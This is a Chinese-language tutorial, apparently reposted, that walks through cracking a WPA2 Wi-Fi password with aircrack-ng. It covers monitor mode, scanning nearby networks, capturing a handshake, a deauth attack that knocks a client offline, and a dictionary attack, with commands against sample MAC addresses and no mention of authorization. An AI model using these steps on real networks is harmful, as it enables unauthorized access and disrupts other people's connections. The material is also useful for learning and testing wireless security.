无线渗透 aircrack-ng的使用

来源:互联网 发布:幸运大抽奖软件 编辑:程序博客网 时间:2024/05/25 23:59
Aircrack-ng是一个包含了多款工具的套装,我们需要使用里面的:
airmon-ng
airodump-ng
aireplay-ng

aircrack-ng

渗透的五个部分:

  1. 准备
  2. 探测
  3. 抓包
  4. 攻击
  5. 破解

1. 准备

先看看你的无线网卡是什么。

sudo ifconfig
这个阶段主要是设置无线网卡的模式,monitor模式是无线网卡常用的监听模式。

1.1使用 iwconfig 设置网卡的监听模式

在 Linux 环境下,有一个命令估计大家都用过:ifconfig,它用来显示或配置网络设备,譬如最常见的查看网卡 IP 地址,或者启用禁用某个网卡,修改网卡的 MAC 地址等等。如果要管理无线网卡,另一个命令是 iwconfig,可以用来查看无线网卡的状态,或修改无线网卡的模式。最简单的用法是不带任何参数,如下所示:

1
2
3
4
5
6
7
8
9
10
11
$ iwconfig
lo        no wireless extensions.
 
wlan0     IEEE 802.11bgn  ESSID:"defenceOTA" 
          Mode:Managed  Frequency:2.412 GHz  Access Point: 6C:72:20:5D:7F:57  
          Bit Rate=130 Mb/s   Tx-Power=16 dBm  
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=50/70  Signal level=-60 dBm 
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:3  Invalid misc:4   Missed beacon:0

可以列出系统中当前正在使用的无线网卡,以及无线网卡的模式,支持的无线协议,ESSID(无线扩展服务设置 ID,Extended Service Set ID),信号强度等。从上面的例子中可以看出,wlan0 为无线网卡,当前网卡的运行模式为托管模式(Managed)。

大多数情况下,都可以使用下面的流程来启用无线网卡的监听模式(注意:必须以 root 身份运行):

1
2
3
4
$ su
# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# ifconfig wlan0 up

其中第一条命令将无线网卡 wlan0 停用,这一步有时不是必须的,但最好尝试先停用无线网卡,否则很可能报下面这样的错误:Device or resource busy 。

1
2
3
$ sudo iwconfig wlan0 mode monitor
Error for wireless request "Set Mode" (8B06) :
    SET failed on device wlan0 ; Device or resource busy.

第二条命令设置 wlan0 的模式,这里是将其设置成 monitor mode,当然也可以设置成其他的模式,譬如 iwconfig wlan0 mode master 可以将无线网卡设置成主模式。最后再启用无线网卡,这时无线网卡就是以监听模式运行的了,可以使用 iwconfig 命令确认一下。

最后我们还可以使用下面的命令改变监听的信道:

1
# iwconfig wlan0 channel 3

踩坑:为什么使用 iwconfig 将无线网卡设置成监听模式后,过几秒又会自动变成托管模式?

这个问题出现在你的笔记本已经连接上 Wifi 这种情况下,大多数情况下罪魁祸首就是 Network Manager 服务。如果无线网卡已经连接了 AP,则 Network Manager 会检测无线网卡的模式,自动将其设置为 managed mode。所以你可以尝试断开无线连接,或者使用下面的命令停止 Network Manager 服务。

1
# service network-manager stop

 1.2使用 airmon-ng 设置网卡的监听模式

如果你只是想将无线网卡设置成监听模式,使用 iwconfig 命令足矣,这时你就可以使用诸如 Wireshark 之类的抓包工具截取无线网络报文了。但是使用 iwconfig 有一点不爽的地方在于,抓包时网卡是处于监听模式的,这时不能通过 Wifi 连接互联网,否则网卡又会自动切换回托管模式,这在你想一边抓包一边上网时会非常不便。所以你有另一个选择,也是更好的选择:airmon-ng 。

相信很多学习无线破解的同学都是看着 aircrack-ng 的破解教程入门的,确实,在无线破解这个领域,aircrack-ng 的地位简直是神一般的存在。aircrack-ng 提供了一整套无线工具,每一个都小巧精练,各有春秋,如瑞士军刀一般,airmon-ng 就是其中之一。

首先不带任何参数直接运行它(必须以 root 身份执行):

1
2
3
4
5
6
$ sudo airmon-ng
 
Interface   Chipset     Driver
 
wlan0       Atheros AR9280  ath9k - [phy0]
enx0        Unknown     rtl8812au

可以列出当前所有的无线网卡,每一行显示出每个网卡接口的名字,芯片类型,以及安装的驱动程序。然后使用下面的命令将网卡设置成监听模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo airmon-ng start wlan0
 
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
 
PID Name
12341   NetworkManager
12354   wpa_supplicant
12363   dhclient
Process with PID 12363 (dhclient) is running on interface wlan0
 
Interface   Chipset     Driver
 
wlan0       Atheros AR9280  ath9k - [phy0]
                (monitor mode enabled on mon0)

和 iwconfig 不同的是,airmon-ng 新建了一个虚拟网卡 mon0(monitor mode enable on mon0 这句话的意思是,在监听模式下,无线网卡的名称已经变为了mon0),并在 mon0 上启用了监听模式,真实的无线网卡 wlan0 保持不变,还是运行在托管模式下,这样你就可以上网抓包两不误了。这个命令还有一个有意思的地方在于,它会检测系统中当前正在运行的进程,分析出哪些进程可能会对无线抓包有影响,并显示出来。你可以单独使用 airmon-ng check 命令来做检测,还可以使用 airmon-ng check kill 直接 kill 掉那些可能有影响的进程。

1.3使用 iw 监听无线网络(此方法为转载,没有考证。)

iw 是 Linux 系统上的另一款无线配置工具,它的出现是为了解决 iwconfig 的很多不足,或者说它完全是为了取代 iwconfig 而开发的。

之所以要新开发一套无线配置工具,还要从无线扩展(Wireless-Extensions)说起。Wireless-Extensions(简称 WE,或者 Wext) 是由 Jean Tourrilhes 1997 年开发并添加到 Linux 内核的,它通过 Linux 的系统调用 ioctl() 来实现用户层和内核层之间的通信。由于设计的比较粗糙,使用 WE 开发的程序很难管理,并且由于它年代久远,WE 除了一些基本的 bugfix 之外也无人维护了,所以亟需一种新的无线驱动框架来指导无线程序的开发。于是便出现了 cfg80211 和 nl80211 。需要特别指出的是 cfg80211 不再使用 ioctl 系统调用,而是使用 Netlink(基于 socket 通信)。iw 就是完全基于 cfg80211 框架重新设计并开发的。

使用 iw 不仅可以实现和 iwconfig 完全一样的功能,而且它的用法要更丰富(当然也更复杂),可以先使用 iw help 查看它的使用帮助(友情提醒:使用 iw 之前先得有个心理准备,iw 命令的输出大多比较晦涩,而且你可能会被它大片大片的技术信息所吓住,不用急,从上往下慢慢看)。下面的几个命令可能是你想尝试的:

1
# iw list

列出所有的无线设备,以及每个无线设备的详细信息,真的非常详细,非常专业,可能会吓住你,如果要显示的简单点,可以使用:

1
2
3
4
5
6
7
8
9
# iw dev
# iw dev wlan0 info
phy#0
    Interface wlan0
        ifindex 3
        wdev 0x1
        addr 00:17:c4:e8:67:20
        type managed
        channel 1 (2412 MHz), width: 40 MHz, center1: 2422 MHz

这个命令和 iwconfig 类似,显示出无线接口的名称,网卡模式,所处的频道等,这些都是接口的属性,无论有没有连接 AP ,只要你没有修改过它,接口的属性都是固定的,如果你连接了 AP ,还可以使用下面的命令查看跟连接相关的信息(SSID,频率,信号强度等):

1
2
3
4
5
6
7
8
9
10
11
12
# iw dev wlan0 link
Connected to 6c:72:20:5d:7f:57 (on wlan0)
    SSID: defenceOTA
    freq: 2412
    RX: 202000891 bytes (213176 packets)
    TX: 11249479 bytes (110592 packets)
    signal: -60 dBm
    tx bitrate: 108.0 MBit/s MCS 5 40MHz
 
    bss flags:  short-preamble short-slot-time
    dtim period:    1
    beacon int: 100

当然,我们最关心的,还是将网卡设置为监听模式:

1
2
# iw dev wlan0 interface add mon0 type monitor
# ifconfig mon0 up

上面的命令新增了一个虚拟网卡接口 mon0 ,并将 mon0 设置为监听模式。这个命令和上面的 airmon-ng 的效果几乎是一样的,wlan0 仍然保持 managed 模式不变,新增的 mon0 运行在 monitor 模式下。虚拟接口新增之后记得要使用 ifconfig up 启用起来,再通过下面的命令设置频率。

1
# iw dev mon0 set freq 2437

2. 探测

sudo airodump-ng mon0

使用这个指令进行探测,查看周围wifi的各种信息。

可以看到,最右侧的ESSID,下面的是周围wifi的名字,最左侧的BSSID,是这些wifi对应的mac地址。ENC是加密方式。可以看到基本都是WPA2的,很少有WPA和WEP。因为这两个的安全性都较WPA2次之。CH是工作频道。

3. 抓包

我们已经看到了要攻击的路由器的mac地址和其中的客户端的mac地址,还有工作频道。执行:

sudo airodump-ng --ivs --bssid FC:D7:33:3F:BC:F8w longas -c 11 mon0

我们使用airodump-ng这个工具进行抓包
--bssid 是路由器的mac地址
-w 是写入到文件longas中
-c 11 是频道11
--ivs 是只抓取可用于破解的IVS数据报文

需要注意的是:这里我们虽然设置保存的文件名是longas,但是生成的文件却不是longase.ivs,而是longas-01.ivs。

注意:这是因为airodump-ng这款工具为了方便后面破解时候的调用,所以对保存文件按顺序编了号,于是就多了-01这样的序号,以此类推,在进行第二次攻击时,若使用同样文件名longas保存的话,就会生成名为longas-02.ivs的文件,一定要注意哦,别到时候找不到又要怪我没写清楚:)
啊,估计有的朋友们看到这里,又会问在破解的时候可不可以将这些捕获的数据包一起使用呢,当然可以,届时只要在载入文件时使用longas*.cap即可,这里的星号指代所有前缀一致的文件

4. 攻击

这里为了获得破解所需的WPA2握手验证的整个完整数据包,我们将会发送一种称之为“Deauth”的数据包来将已经连接至无线路由器的合法无线客户端强制断开,此时,客户端就会自动重新连接无线路由器,我们也就有机会捕获到包含WPA2握手验证的完整数据包了。
此处需要新开一个shell:

sudo aireplay-ng -0 1 –a FC:D7:33:3F:BC:F8 -c 08:ED:B9:89:FB:B1 mon0

-0 采用deauth攻击模式,后面跟上攻击次数,这里我设置为1,大家可以根据实际情况设置为10不等
-a 后跟路由器的mac地址
-c 后跟客户端的mac地址

5. 破解

我们使用aircrack-ng进行破解

ls

先看看我们抓到的握手包是什么名字。
可以看到一个叫做longas-01.ivs的,这个就是我们要破解的文件。
这时候我们需要准备一个字典文件用来破解这个longas-01.ivs。
可以使用crunch这个软件生成字典。

sudo aircrack-ng -w dict1.txt longas-01.ivs

此时的破解速度跟使用的机器性能和字典大小有关。为了节省时间我就把密码直接加入到字典中了。可以看到破解成功时候的界面。

中间有一句:KEY FOUND!,后面的中括号里面,就是这个路由器的wifi密码。到此,wifi密码的破解也就完成了。
0 0
原创粉丝点击